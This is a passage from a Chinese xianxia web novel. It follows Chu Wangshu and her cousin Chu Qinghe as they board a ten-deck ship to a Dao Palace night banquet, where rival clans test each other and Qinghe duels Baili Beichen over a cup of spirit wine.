幼时帮她摆脱了许家、让她成为推举、现在又能带她去道宫。
道宫形势更加复杂,她还需要依附一颗大树。楚家,就是她能抱住的大树。
只是怎么抱,却有难度。现在已经不是讨好两位楚家小姐就能达成目的的时候。况且,那两位小姐,也并不容易讨好。
楚清河,楚氏大长老的孙女,人友善、热情,但对谁都热情,也就对谁都不走心。
她很难利用。
楚望舒,楚氏族长的女儿,她给人的感觉,很不好说。她是楚家簇拥的核心,与她的关系也算得上不错,有时候上课也会和自己坐在一起,给她指点。
可许妙樱却最不想和楚望舒打交道。她黝黑干净的眼眸会完整照出人的影子,有时候许妙樱觉得,楚望舒早已识破她的“面具”
行骗不难、伪装不难,难的是在被识破的情况下还要硬着头皮伪装。
许妙樱很想离楚望舒远远的。
可要抱住楚家的大腿,楚望舒又是绕不开的一环。
她非常清楚,楚家在楚望舒身上耗费了多少心血,藏了她十八年,外界只闻其名,不见其人。
她必是楚家压的重宝,指望她在道宫一鸣惊人,一飞冲天。
许妙樱在心中谨慎敲定计划,抬起眼眸时,眸中冷漠化为一丝清浅的笑意。
十岁那年,她觉醒了灵种天赋,“千人千面”
从那年开始,许妙樱就依靠伪装与行骗在这世上生存。
无人知晓她的真面目。
她也不会以真面目示人。
-
翌日清晨,许妙樱与陆琪站在一起,等待楚氏族长的传唤。
出行道宫需出海,先乘坐楚家的宝船到达应天港口,至于之后怎么抵达道宫,许妙樱就不知道了。
楚家的宝船,已在瀛洲岛外面的湖心上停泊,楚家有一条专门的栈道用于上船。
陆琪回头看了眼栈道,依然没来人,就说:“还没来,我们不能先上船吗?”
他五官俊秀,眉骨高,眼神却清澈,有种憨厚与正直。
许妙樱经常嫌他蠢,却轻声细语地说:“我们搭乘楚家的宝船直去道宫,已经算是一种优待,自然还是等族长他们先上船,这样更有礼些。”
“原来如此,樱妹,多谢提醒。”
樱妹。许妙樱的唇线微微抿直,觉得这个称呼极致土气,想叫他不要这么喊,天边却有灵光频现。
许妙樱抬头,看见一队人不走栈道,直接御气而来。
为首的那人,红衣挺拔,她的身后跟随两名女孩。许妙樱眼眸微动,视线精准落在其中一人身上。
她穿着蓝绿扎染渐变的轻纱仙裙,在下落时,孔雀蓝的丝涤漾出一个婉转的弧度,颈上阳绿透润的长命锁尤其吸睛,右手佩金镯,腰悬红穗宫铃。
她精准捕捉到窥视的眼神,在许妙樱没来得及收回的目光下绽出一个笑,黑瞳羽睫,眉心一点神光。
许妙樱一顿,嘴角本能上扬,眼眸弯起。
望舒眨眨眼,移开目光。
“崽,看什么呢?”楚清河问她。
“我刚看到妙樱,跟她打个招呼。”望舒说。
“哦,妙樱啊。”楚清河勾起脑袋,在栈道边认出许妙樱,直接摆起手臂,“妙——樱,好-久-不-见!”
她们有几年没去幼院上课了。
这下子,连楚岱熙都看过来,微微扬眉。
……许妙樱笑容不变,只是略微僵硬。
这就是她也觉得楚清河不好接近的原因,有时候有些冷淡,有时候又显露出一种让人迷惑的热情。
她的千人千面还没有进化到
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,能顶着着楚望舒的审视和楚清河的出其不意,还能流利应对。
几人上船,船的帆却自动收起,从底部伸出一双翅膀。瀛洲岛外围的湖是内陆湖,不通海,她们需要先飞到外海,再从外海航行到应天港。
宝船外围裹着一层金色护罩,稳定地在云层中穿梭,飞行不过一个时辰,就来到外海。
碧蓝壮阔的海面,一只宝船收了翅膀,在海上无波行驶。掌舵的人是楚茗烟。
望舒收回视线,问楚岱熙:“道宫在哪儿?”
“四海中心陆地,海上神山。”楚岱熙同望舒一起站在甲板上,张目望着海面。
“为什么非要到应天港停泊?”望舒认出这里是北海的外海。她们明明可以直接往里航行,直达道宫。
楚岱熙看着她一笑:“因为道宫会派人来接应我们。”
望舒点头,没有追问这个“我们”指的是谁,她早已不是当初的修行小白,知道娘指的我们,说的掌印势力。
掌印世家是一种笼统的称呼,其中真正的世家只有九家,九家之外又有三国。
九家分据九洲,三国各自独立。
这十二个势力拱卫道宫,形成天衡势力的金字塔顶尖。
到了应天港,望舒才知道这个派人来接应是怎么回事。
应天港停泊着无数宝光璀璨的宝船,船上扬帆,随着海风飘扬的是各族旗帜。
她看到许许多多形容威严的长辈身后至少跟着两个后辈,后辈雄姿英发,少年桀骜。
道宫的船不竖旗,只悬铃。看见乌蓬船头悬挂一只凌凌响的宫铃,必是道宫派来接应的船只。
楚清河绕着港口看了一圈,皱眉说:“道宫来接应的船,未免也太小了,能站的下咱这么多人吗?”
其实不算小,只是比起珠光宝气的宝楼船,略显普通,但足以盛下一族入宫的天才种子。
道宫也不是什么人都收,一般掌印世家推举,上限为二,民间推举,上限为三。
一个掌印家族推举人数全面满额,也不过五人,算上随行的长辈,顶了天十人,怎会一只船还塞不下呢。
最多就是挤了些。
望舒浅笑,指指港口海湾中心:“姐姐看那艘呢?”
许妙樱和陆琪也跟着看过去。
今日海上云雾多,楚清河本来还没注意到,随着望舒一指,又用了灵力,才看到港口偏远的位置停着一艘巨大的船。
船已上点宫灯,灯下悬铃,晕着橙黄的光,一眼看去,险些被每层都有的灯给晃花了眼睛,这天还没黑呢,要是晚上,怕是整片天地都给映亮了去。
细细一数,足有十层。
“那船气派吗?”看着楚清河呆愣的眼神,望舒莞尔一笑。
清河回过神,砸砸嘴:“确实不赖,符合我楚家的派头,就是感觉不好上啊。”
清河还是敏锐的,道宫派人接应,竟分两种档次,一种灰扑扑,颇有种灰头土脸低调入宫的意思,一种珠光宝气,生怕叫人猜不出,里面会有各种名利场,少不了事端。
楚岱熙此时方意味深长笑道:“道宫派人接引,有一道著名的宫门夜宴。十层宝船停在应天港,各家随意上船。宝船白天点灯,夜间航行,天光微亮,正好抵达道宫。”
“是乘坐乌船,锦衣夜行,还是坐宝光楼船,宫门夜饮。”
“望舒,你怎么选?”
望舒拨弄腰悬的宫铃,在凌凌的声响中清浅一笑。
“听闻楚家上届入宫十分艰难,这届也免不了被嘲笑和打压,低调不一定能换来安宁,高调却还能风光一时。”
“有一时,算一时。娘,咱高调些吧。”
楚岱熙笑容加深:“高调啊,那可……太合为娘的心意了。”
双手快速结印,她的身后出现一道巨剑虚影,剑归于鞘。
楚岱熙猛然睁开双眼,眼中金芒一闪,快速拔剑,带起一阵飓风,卷起望舒四人。
朝着十层宝船,一剑劈下——
14.人设多少有点撞
选择上这艘光华巨轮的人,不算多,也不算少。
不多是相比于港口上停驻的人。
能上这艘船、敢上这艘船的,基本都是掌印势力,又或是对掌印势力虎视眈眈,预备顶替的家族。
这部分人送家族推举入宫,瞄准的都是道宫百席之位,自然会借着入宫前这段夜宴航行,试探各族推举的实力。
不少是因为,所有掌印势力,九洲三国,一般是默认上船。总共十二个势力的推举加上随行者,本身就是一个不小的数目。
不过默认中也会有例外,譬如三国。三国国土庞大,人才众多,每界道宫入选,都有诸多佼佼者,稳稳占据百席之位。
世人对强者总是包容,三国的人不上船,会被理解为保存实力,不喜纷争,低调观望。
而掌印世家需要承受的审视目光就更多些。掌印之中有强有弱,个别家族,连掌印权力都摇摇欲坠。
弱者难以避免会被挑剔苛责,上船还是不上船,都免不了闲话。
应天港口,眉心坠着松绿额饰的少女对身旁长者开口。
“爷爷,我们不上船吗?”
长者头发已经泛白,目光却精硕,摇头。“何必去参与那样的义气之争。”
风瑶说:“可这样,各族一定会认为我风家无人,之后入宫,各方试探接踵而来,并不会因为此刻的低调而减少。”
在风瑶看来,风家在掌印世家中确实不强,可越弱,就越要装出底气来,不然此时低调入宫,不是明摆着告诉别人你怕了吗。
长者凝眉迟疑,正要说话,却见天边惊现一柄巨剑。
风瑶瞪大眼:“爷爷,那是……”
“一线天。”长者凝重道,“楚岱熙的十八仙剑之一,楚家上船了。”
楚家。风瑶眼珠转了转,楚家的形势也不比风家好哪去,如今楚家高调上船,那……
她去看爷爷的脸色,果然天边的剑光像给了他刺激,挣扎一番后,咬牙道:“我们也上。”
楚家能上,风家为何不能?倒叫他看看,楚家今年摆弄的什么名堂。
宝船甲板上,站立的人群看见上空斩落的巨剑,纷纷皱眉避散。
巨剑劈下,像斩开天空一角,留下一道明显的金色线痕。触碰到甲板,却陡然收力。
宝船甲板不知是施了阵法还是用特殊材质制成,发出嗡鸣的响声,纹丝不破。
剑气掀动宫铃震响,每一层的宫铃都摇动起来。
铃铃的脆响不绝于耳。
顶层茶室,分别坐着道宫派遣下来镇守楼船的令主,还有负责夜宴的执事。
令主姓方,刚拎起茶壶,就听见外面宫铃震响,瞄了一眼,发觉是剑气,抬头,窗边一道金线般的刻痕尤未消散。眼中闪过明悟。
执壶的手纹丝不动,稳稳倒了杯茶递到嘴边,喝完才说:“是一线天。”
“楚家人这么年,风格真是一点没变啊。”嘴角噙着丝看好戏的笑意。
执事哦了身,起身站到窗边往下看:“楚家今年带了四个人?都是推举吗?”
目光飞快一扫,在楚岱熙身后一人身上停住,若有所思地说:“楚家一名后辈,腰悬红穗。”
方令主想了想,想起一件事:“楚家这届似乎有推举,还是两个,负责给楚家推举检验的,是希如令主,回来后跟我提过一嘴,看见了个不错的小家伙。”
伸手敲敲桌子,笃定道:“那是希如令主的穗。”
执事看着甲板,视线在那个女孩额间金印一扫而过,嘴中道:“有意思了。”
能让天院院长亲自赠穗,百席争夺必有其位。
楚家这届,看起来有希望了。
六层。
溟氏长老收回目光,眸中闪过一丝厌恶。
“楚氏……最会哗众取宠。”
七层。
百里与商氏两族高层坐在一起。
商氏的人笑呵呵地说:“楚家今年这么高调?她们家上代族长还在迷雾海待着吧。这是找着希望了?”
百里家的人有种事不关己的漠然,评价道:“楚岱熙多年来一直如此。”
商氏族人点头:“确实,楚家就是败了,楚岱熙也能笑呵呵地执剑杀了那些嘲笑她的人,闹上个天翻地覆。”
百里氏说:“楚家今年有个推举,听说是楚岱熙的女儿。”
“那倒奇了。”商氏族人嘀咕一句。
八层。
炁洲晏氏。
青衣男子站在窗边,对楚家行事没有点评,倒是评了一句楚岱熙的剑术。
“她的剑术又进益了,难道找到了进三转的契机?”
旁边女子说:“不像,如果楚岱熙天赋三转,今日她将船劈了都有可能。”
男子似乎被女子的话逗笑:“确实。”
如果楚岱熙剑术三转,今日就不会这么“低调”,仅仅只是象征性地划了个剑痕,少说也得劈上几个溟家人才对。
甲板上,四散的人群看着在甲板中心站立的人,神色惊疑不定。
楚岱熙慢悠悠收了剑,唇角翘起:“乖崽,怎样,没惊着吧。”
望舒理理裙子,抿嘴浅笑:“还可以啊。娘,刚刚我感受到许多视线,都来自楼船高层。”
刚刚那一下子,不说三位数,大几十道灵识扫过,肯定是有的。
望舒还感到,一些人的视线在她身上多晃了几圈。
楚岱熙哦一声,轻描淡写地说:“上了楼船,各族带队的长辈与小辈是分开的,我们都在五楼往上,你们在五楼之下。”
“一会儿会有侍者引我上楼,我们这就要分开了,直至明天早上,天光微亮,夜宴结束。”
望舒眨眨眼,迎上楚岱熙的目光:“娘放心,我会见机行事的。”
搞事还是缩着,她要再看看。
不多时,果然有腰间悬铃的侍者引楚岱熙楚茗烟上楼,恭敬道:“林氏族长有请。”
望舒看着娘和五长老对她们摆摆手后走远,突然朝甲板右侧看。
那里站着一老一小,老者穿着灰色道袍,小辈是个戴了额饰,风格比较小众的灵动女孩。
这俩人,好像盯着她有一会儿了。
只不过,她看过去的时候,老者已经收回目光。
“爷?”风瑶询问。
老者皱眉:“很敏锐。那额头的印子,不好说。”
老者很快也被侍者请上楼去,留在甲板上的全是小辈。
“妹,我们干啥?”楚清河说,“这宴会什么时候开始啊。”
望舒:“大概要等天黑吧,娘也说了,我们可以在五层以下活动,先找个房间吧。”
扭头看妙樱,看她脸上还带着余惊:“妙樱,你还好吧?”
许妙樱摇头,桃花簪上垂坠的米珠微微摇晃:“刚刚……好多人在看我们,稍微紧张了一下。”
陆琪挠挠头,笑着打招呼:“望舒,清河,好久不见。”
视线偷偷在望舒脸上打转,看一会儿晃走,过一会儿又忍不住晃回来。
楚清河立马就跟他聊上了:“哇你小子,现在长挺高嘛!”
几人往船舱里面走。
一楼船舱面积最大,用镂空雕花屏风分隔出了许多区域,每一块区域都设有雅座,席帘全部卷起,能看到碧蓝无波的大海,日光洒落一片碎金。
望舒找到一个空的雅座,正要过去,过道上迎面走来一个蓝袍男子,走路略有些不稳,脸颊泛起酡红,看起来像是喝醉了。
望舒闻到酒气,正要侧身让开,却不想男子直直往她的方向栽倒。
黑眸飞快划过一丝冷意,袖中指尖结印,却看到男子正盯着她看,眼眸有金芒闪过。
手停住,望舒故意让自己展露惊愕又厌恶的神情。
男子刚倒下一半,肩膀却突然停了一只手,把他整个身子摁住,转头,看见楚清河瞪着他,眉毛倒竖,一副“你小子活腻了”的神情。
男子刚要开腔辩解,楚清河单手发力,直接一举将他从左边掀飞到右边。
镂空屏风哐当一下倒塌,发出巨响,屏风后面的茶具被蹭翻,稀里哗啦的瓷器碎了一地。
对面屏风的男男女女全部站起,皱眉盯着这边。
无数目光巡视而来。
许妙樱和陆琪对视一眼,并列站在楚清河旁边,一起将望舒护在身后。
清河已经拿出了枪,枪尖怼着男子的脸比划。
“嗯?不会走路是吧,身子往哪儿歪
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呢?”
男子掩脸,低声说:“抱歉,我有酒了。”
“有酒?”清河差点被气笑了,“嗯,我现在喝上一杯把你手剁了,跟你说有酒你同意不?”
二楼,灵识徘徊在这里的溟宸看见场面即将闹大,眉头皱得死紧。
这个蠢货!
正要派人平了这场闹剧,却看见一个绿衣女子出来劝架,暂且按耐下来。
“这位姐姐,我看他也没碰到什么,又确实喝醉了,不如就这样算了吧。”
望舒抬眸,看见是之前那位眉心戴着坠饰,打扮让她感觉很奇特的女子。
楚清河有些不快,谁在这里当好人?她妹在外头差点被欺负了她还能随便放过去不成。
正要驳回去,却听一道隐秘的传音。“他是溟家派来的人。”
溟家。眼珠一转,收了枪。
蓝袍男子以为这是放过了,闷不吭声爬起来,拱拱手,就要离去。
清河看着他的背影,淡淡道:“再有脏东西敢黏上来,不止是你,连你身后的人,腿也一并打断。”
蓝袍男子背影一顿,疾步而走。
二楼,杜枚刚上楼,一个瓷碗就碎在他脚边。
啪!
溟宸怒道:“我只是叫你去试探,你弄什么醉酒往人姑娘身上倒的把戏!”
这是什么场合?他们是去道宫争夺百席!
都是家族精心培养出来的推举,谁还会在酒色上犯这种错误!
这种拙劣到被人一眼看穿的把戏,简直丢尽了他的脸!
蓝袍男子名杜枚,是渊洲掌印世家溟氏的附属小族,觉醒的天赋是比较少见的查探类。
刚刚被溟宸派去试探楚家人,哪想出师不利。
他小声辩解:“我怕直接动手,事情会闹大,只是想装作脚滑,碰她一下,这样才能看清。哪知道……”
哪知道另一个楚家姑娘脾气竟然那么大,一胳膊就把他撅飞了。
溟宸怒骂一声。
刚刚杜枚问他试探哪个楚家人,这次楚家队伍,上船的一共有四个小辈,三女一男。
溟宸先是一眼看向楚清河。不用说,这一定是楚家人。
楚氏女子全部都是鼻孔朝天不好惹的类型。楚清河完美对应楚家人的刻板印象。
按理说剩下还有三人,可溟宸就是感觉望舒最不对劲。
当然不仅是因为她漂亮到出彩。是那种看着所有人都平淡浅笑的样子,让溟宸感到隐隐的威胁。
溟宸十分相信自己的直觉,于是在杜枚问他时,咬牙说:“试那个眉心有金印的。”
美貌,一定是楚氏女人的阴谋诡计!
结果一试试了个大乌龙。
杜枚这会儿也后悔,想不通为什么走了一步臭棋,郁闷地说:“你叫我试的人,我看除了一张脸,也没什么特别的。”
刚刚还差点被他吓到。
杜枚脑中闪过一双黝黑干净的眼眸因惊讶颤颤睁大的样子,又在心中补充,好吧,美得很特别,跟画册上说的仙女似的。
可这年头,谁还看脸。他们都是讲实力的。
杜枚把脑中的画面摇去,又说:“反倒是另一个楚家人,那力气……她的天赋应该介于紫级灵种到金级灵种之间。”
溟宸皱眉,难道真是他看走眼了?
楼下雅间,打抱不平的女子笑盈盈地介绍了自己。
“我叫风瑶,朔州风氏。”
朔州气候苦寒,风氏的实力,在十二掌印势力中,属于它争倒二,没人敢争倒一的程度。
楚氏目前在倒二到倒三之间徘徊。
这位风瑶出手帮她们一把,颇有点我们是难姐难妹的意思。
朔州确实很偏很远,清河好奇地说:“你是风家的推举吗?”
风瑶羞涩地摇头:“我们朔州哪有钱养什么推举,能不被道宫筛下来就不错了。”
坐在她们对面的望舒眨眨眼,推了杯茶过去。
她寻思,自己现在走的人设路线是不是太大众了,怎么随便遇到一个人都能撞设。
她刚用天赋看了眼。
这位来自苦寒之地,据说连推举都不是的风姑娘,竟然有着不输金色灵种级别的造化天赋耶~
15.差异化竞争
望舒推茶过去的时候,风瑶自然地看了过来。
望舒眨眨眼,就见这位跟她撞设的风姑娘微微歪头,笑着说:“漂亮妹妹,你受惊没有?”
露出的牙齿干净整洁,松绿眉心坠很衬她灵巧的气质。
“姐姐已经帮我出过气了。”望舒双手捧茶,乖巧地说。
又像是好奇,主动问道:“你怎么知道他是溟家派来的人?”
“哎?”风瑶一副你们竟然不知道的表情,“我是路上买来的情报啊。”
“朔洲在北地,要走很长一段陆路才能来到海上,我们怕消息不灵通,买了商家一份情报,上面就简易介绍着十二掌印势力的推举啊。”
望舒的手指轻轻摩挲杯壁,表情不变。
商家。商洲商氏。
商洲是九洲之中地方最小的一块陆地,但商氏人却遍布九洲三国。
他们酷爱做生意,爱钱爱灵石,没事还愿意搞一搞情报工作。
清河歪了歪头:“你在商家买的?商家有很多都是骗子啊?”
他们胡编乱造假消息,一点心理负担没有的。
这下轮到风瑶懵了。她拿出一块玉简,递了出去:“诺,你们看。”
不管真假,这是人家花钱买的情报,清河没立马接,而是看了眼望舒。
望舒就伸手接过来,勾勾嘴角:“谢谢漂亮姐姐的见面礼。”算是回应她之前那句漂亮妹妹。
风瑶眼眸一闪,说:“不客气,我们两家处境相似,以后在道宫,可以互相帮衬。”
望舒往玉简注入灵力,上面很快浮现字体。大略扫了一遍。
穹国昭氏、焱国幽氏、凉国厉氏。
岳洲百里氏推举两人:百里北辰、百里灵越。
渊洲溟氏推举:同胞兄妹,溟云、溟宸。(排名有先后)
……
望舒重点关注两点情报,一是掌印世家中最强的晏氏,另一个当然就是她们楚家啦。
望舒视线停在一行字上:炁洲晏氏:养蛊式竞争,只推举一人,晏殊。
对晏殊竟然还有一句点评:前十必入,首席有望。
哇,评价这么高吗?真假的呀。
又看楚家:推举二人,楚望舒(楚岱熙之女)、楚清河。
楚望舒额生金印,疑似觉醒金色灵种级天赋。
对我的注解蛮多字嘛。
望舒把玉简递给坐在她旁边的许妙樱,妙樱看的时候,陆琪头也伸过来。
妙樱看完,又将玉简给了清河。
如此转了一轮,玉简回到风瑶手上。“是假的吗?”她问。
清河啧啧地说:“看着挺像那么回事,主要内容不多。”这些东西想打听很快也能打听到。
风瑶鼓嘴说:“花了我十个灵石。”
望舒说:“我感觉是真的,没亏。”
风瑶就冲望舒笑笑。她没在这里呆多久,起身告辞时还提醒她们:“查探类天赋虽然少见,但每家要是主动搜集的话,还是能找出一些的。你们要小心哦~”
看她走远,清河说:“她人还怪好勒。”
望舒没评价。
许妙樱垂眸,默默饮茶。凭她千人千面的感知,这位风姑娘脸上,也多少带着面具呢。
一楼到底人多嘈杂,每有新的一家上船,总少不了几波试探。望舒她们后来找了个包间歇息。
晚宴开始的前半个时辰,侍者过来提醒。望舒想了想,说:“姐姐给我梳妆吧。”
“啊?”清河不解,“崽,你还不够好看啊。”
望舒笑笑说:“在最厉害和最好看之间,最厉害暂且有点难。”道宫天才太多了,她还要发育呢。
“那就先努力争取一下最好看吧。”
在这个强者为尊的玄幻世界,大家当然更在意实力,要是你美貌值点多了,难免就会被怀疑,实力数值点得不够。
望舒就一点不怕遇到这种怀疑。甚至,能误会就最好啦。
毕竟,她的灵种还需要很多道韵来晋级。
我们之间没有一点美妙的误会,你又怎会主动上钩呢?
模拟器捕捉到望舒的心声,又开始库库在她脑子里打字。
【开局频频撞设,让你意识到,这年头的天才也不好做。有实力的都在观望,没实力的谨慎龟缩。】
【你深知天才扮演的精髓,是展露特殊,可市场行情的谨慎,让你的扮演,显得平平无奇。你决定打出差异化竞争,从扮演一个普通入门级天才,到扮演一个普通入门·有点小美·的入门级天才】
【天才中的花瓶也是天才。你觉得我易碎,伸手将我打破,刺伤了自己的手,那跟我这个天才,有什么关系?】
【万物为我所用,美貌不一定是武器,但一定可以是鱼饵。】
【天才分+30!】
-
宴会上,溟宸深思熟虑,痛定思痛,决定再试一波。
杜枚跟前的小案几上摆了一盘花生米,他就捡那个花生米吃。“我们为什么不能直接打呢?”
溟宸看傻子一样看着他:“你在道宫只需要看输赢,而我们掌印推举要考虑的东西,就太多了。”
杜枚咧咧嘴。行吧!
楚家人还没来,他漫无目的地张望一圈,一边往嘴里塞花生米一边说:“有消息说,今年晏殊,有望首席。”
坐在溟宸旁边的溟云睁开眼睛:“哪来的消息?”
“商家买的。”杜枚在后面回。宴席的安排是,一人独立一个案几,推举坐在最前排,跟着推举上船的人坐在家族推举后面。
杜枚就坐在溟宸的后面,溟云在他斜前方。
“这你也信。”溟宸嗤道。
溟云平淡地说:“商家爱钱如命,与其相信这消息是真的,不如相信,是晏家花钱找商家给晏殊造势。”
也许晏殊的实力没什么水分,但他这种必得首席的声势,一定有水分。
杜枚咂咂嘴,还真没想到这层。心说还是你们大家族会玩啊。
溟云有种冷淡到锋利的气质,只点一句,目光就移开。
恰在这时,席上隐隐传来搔动,溟云抬眸看过去,见是一位白衣玉冠公子,眉骨英挺,剑眉入鬓。
他的身后跟着三人,都穿白衣,呈拱立之势。
有一种无形的气场,叫席上的人收声。
杜枚努努嘴,对前头两人传音:“他就是晏殊。”
本想多说两句,侍者又开始往席上引人。晏殊个高,有点挡住,杜枚往上伸伸脖子,忽地愣住。
“那个,楚家人……”他意味不明地说了一句。
溟宸皱眉,与溟云一同看了过去。
很奇怪的氛围,原本有些嘈杂的席面忽然就安静下来。晏殊敏锐感知到,这样的安静并不是冲自己。
眼眸不动,转身朝安静的来源看去,在他身后的人刚好抬睫,目光撞到一起。
晏殊微不可查地一怔。
席上点了灯笼,但因是夜宴,并不
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刺目,朦胧柔和的橙光,并了两排,一路延伸到宴厅入口,侍者正带着一队人往里引,其中一人,走在最前方。
有一双像被工笔精心描摹刻画过的眉眼,烟眉琼鼻,眸黑而沉,眉心的金印缥缈,精致到看起来不似真人,可颈上却用红绳乖巧地用佩了一块翠玉长命锁,一下子将这份仙气拉到人间。
轻纱浅金仙裙垂坠而下。她站在暗处,比光更夺目。
望舒抬起眼睫,迷惑地看着眼前挡着一队人。
“请问……”望舒开口,眸光落在晏殊身上,脑袋略微歪斜,“你们不入座吗?”
宴厅虽然不小,但摆了很多案几,一人一座,空间并不宽裕,这一队人站在入口不远,正好把她们挡住了。
澄明的黑瞳除了映出灯笼的橙光,还映了他的影子。晏殊猛然一惊,回过神来。
眉心微蹙,他侧头,避开这位姑娘的视线,退一步,让开道路。
“抱歉。”低沉的嗓音。
望舒回应般笑了一下,径直掠过这队人往里走,侍者给她们引路,带望舒几人来到楚氏那四台案几。
望舒清河坐在前方,许妙樱和陆琪坐她们后面。
裙摆似乎掀起一阵风,晏殊忍不住侧头,看见侍者拎她们去的位置是……楚家人。
跟着晏殊的那个侍者有点茫然,他们已经在这站了有一会儿了,低声道:“公子。”
“带路。”晏殊神情恢复冷淡。
他们坐到了宴席的最前方,最上首的幽公主被人斟酒,看见他,还举了举杯。
晏殊便也执盏朝公主致意,酒送到嘴边的时候却在想那双眼睛。
“她是谁?”目光向前,朝身后的人传音。
晏秋想了想,道:“眉心有印,应是楚氏族长楚岱熙之女。“
“她叫什么?”
晏秋一愣,古怪地回:“好像叫……楚望舒。”
楚清河已经落座,望舒在整理裙摆,清河将脑袋凑过去,传音:“ 妹,我保证,刚他看你呆了一下。”
望舒端起侍者斟好的酒,递到唇边,嘴角隐秘地翘了翘。
夜宴的形式是流觞曲水,用透光屏风分隔各氏族区域,每一块屏风前都悬吊灯笼,轻纱晕出隐秘幽暗的光。
水流从上首蜿蜒而下,路过每一个区域,酒饮点心用杯碟装着,流淌于水中,看中哪个,示意侍者,会用钩子将杯碟勾下,放在单独的小案几上。
望舒随意扫了一眼,对几人传音:“飘的酒水中,有一些,加了特别的东西。”
清河已经吃上了。夜宴夜宴,那不就是来吃东西的么。
闻言一顿:“怎么,有毒啊?”
望舒:“……倒不至于。是好东西,有点像韵灵基液。”
哟,清河来兴趣了,将喉中半块点心咽下:“怎么说,有多少?”
“五杯,都在酒里,被酒的气味掩盖。”
但她因觉醒天赋,对道韵敏感,韵灵基液中含有极其少量的韵灵,也在她敏锐的范围之中。
有点少啊。“崽,咋说,五杯肯定不够分,要抢吗?”
望舒在灯下浅笑。
“我不抢,你抢。”
楚家已经有个看起来“不太厉害的”,那就需要一个“看起来厉害的”
不然,楚家高调上船,将毫无意义。
可话又说回来了,姐姐的天赋,是狐假虎威。
有她这只“虎”在,姐姐的厉害,谁说又不是真的厉害呢?
16.宫门已至
宴席分了两排,幽公主坐在两排中间,最上首的位置。
这次的宫门夜宴,三国的人,只有焱国赴宴,为表重视,道宫让焱国公主,幽鸿影坐主位,她的案几也比一般人更宽更长,上面摆着今夜所有的菜品,无需从流水中取碟。
幽鸿影收回看向门口的目光,好奇问了一句:“刚刚那女孩儿是谁?”
无需刻意描述特征,光华汇聚的地方,总是一目了然的。
她的身后另有两个案几,皆为女子,既是焱国选派入宫的种子,又与幽公主有主从之分。其中一人道:“回公主,是楚家人。”
“楚氏此届推举之一,族长之女,三岁觉醒灵种,至此眉心生印。”另一人回道。
消息显然比世面上流传的普通版更细一层。
幽鸿影点点头,随口点评了一句:“有趣了。”
朝晏殊的地方看了一眼,只可惜,今夜穹、凉两国都不上船,不然会有一场好戏看。
宴席右侧,一位少年已经无聊得开始拿筷子敲碗碟,他是金尊玉贵的长相,马尾坠了金珠,垂顺在屈起的腿间,因长得俊俏,倒看不出不雅。
“这席无聊透了。”少年咕哝。
“席上有好东西。”同伴笑着说。
“算了吧,没劲去抢。”这抢的哪是好东西,是关系到他们身家性命的名气地位。可他又不把这些当身家性命,想想就累了。
“那看仙女妹妹。”同伴将筷子放在桌上,筷尖朝前,对向楚家人的坐席。
林慕凡抬眸看了一眼,怔了怔:“说起来挺不可思议,小时候我去楚家赴宴,见过她一次,那时候只觉得雪团子一样可爱,倒没想到长大后……”
他抬头就能看到楚家妹妹,浅金的轻纱烟裙隐在案几下,像拢了一团光,美玉衬人,她安安静静膝坐着,时不时转头朝周围看看。
“林氏一向与楚氏交好,你们又是青梅竹马的情谊……”陈昆噙着笑,隐了后半句话没说。
“也不算青梅竹马。” 统共就见了仙女妹妹一次,还是小时候,楚家藏她跟藏宝似的。倒是跟楚清河,确实算青梅了。
说着忽然直起腰,一改慵懒的坐姿。他的“小青梅”转眼就快跟人干起来了。
楚清河左手执枪,右手并拢结印,指尖溢出的灵光像线一样圈着一个琉璃酒杯。枪身横举,枪尖怼着一名男子。
烛火映亮她锐利的眼瞳,红衣夺目,明丽又张扬。
琉璃杯被两根灵线牵引,另一根牵在那男子手中,就这么僵持在空中。男子锋利的下颚距离枪尖只有三寸,冷目看了楚清河一眼,右手忽然召出一柄武器。
铿!
兵器剧烈拼撞的声音。
两根枪尖相抵。那男子使的,竟然也是枪。
“是百里北辰。”陈昆看得津津有味,又道:“坏事了,妹妹好像反手了。”
她先用牵引术出手夺酒,自然是右手结印,后来被人争抢,左手出枪。对面正好反过来。
“不是妹妹,是姐姐。”林慕凡皱眉看,还有空纠正陈昆称呼的错误。
这一杯酒不好抢。
岳洲百里氏,在九个掌印世家中排名上游,百里家代际传承也做得好,每一代都有出彩后辈,轮到这一代,是一对兄妹。
百里北辰是哥哥,百里灵越是妹妹。一个使枪,一个用剑,听说连天赋也与之相关。
“这么一看姐姐枪术也很厉害嘛,胳膊都没晃。”陈昆磕起了瓜子。
宴席无聊,就指着这些乐子看呢。
“你叫什么姐姐?”林慕凡又不乐意了。
“不儿……”陈昆瞪大眼睛,“那我叫啥?”
“人家有名字,叫楚清河。”
……服了你们这帮少爷。
陈昆翻了个大大的白眼。
那头,百里北辰冷声道:“酒离我们更近。”
“酒往我们这来。”清河冷嗤。说话间枪头又戳一下。
她这种一边说话一边动手的行为激怒了百里北辰,枪一震,就这么跟她在内室斗了起来。
席上说话的不少,暗中打架的有,明着斗的也有,只是像他俩这种都用枪,打得这么大开大合的,还真只有这一块地方。
又是一枪横扫,虽然不是惯用手,也没用全力,但掀起的气浪仍是波及到了周围,部分案几的杯碟碗筷被扫落,瓷器碎裂的声音给这一架渲染出了轰轰烈烈的场面。
坐在楚家上面的是百里家,百里灵越面无表情盯着这边。
坐在楚家下面的是商家。
商如雪案几上的杯碟一个不剩,她倒一点不在意,身边的侍者手脚麻利收拾碎片,她目光灼灼盯着两人打斗,像是恨不得自己也上去来两下。
楚清河侧脸躲过戳来的枪头,忽然喊了一声:“望舒,躲远点,别被误伤了。”
望舒抬头,乖巧应了一声:“嗯!”
垂眸挪垫子的时候也遮住了眼中的流光。
姐姐用天赋了。
“狐假虎威”有个启动的条件,就是喊对方的名字得到回应。
楚清河躲避之后反手还击,明明是左手,速度却猛然拔高一截。
铿!
百里北辰猛然抬眸,手臂发力,虽然往后退了一步,却仍然挡住了这威力大增的一枪。
席上,晏殊冷淡的目光朝这边投来,上首的幽鸿影停止说话,商如雪更是看得连连点头。
这一击,有点意思。
百里北辰调整枪的握姿,缓解虎口的震痛,心中有疑惑,却顾不得回想,正要还击,目光忽而一顿。
他看向半空——琉璃盏不见了!
他跟楚清河打斗归打斗,手中的牵引术一直没松。结果刚才,牵引的源头忽然消失。
似有所感,百里北辰朝楚氏坐席的望舒看去。琉璃盏刚刚被她捏在手里,迎上百里北辰的目光,她无辜眨眼。
“我看你们挺忙,就试着拿了一下,哪想到,一拿就到手里了。”言语中还有点你怎么不拿好的柔软嗔怪。
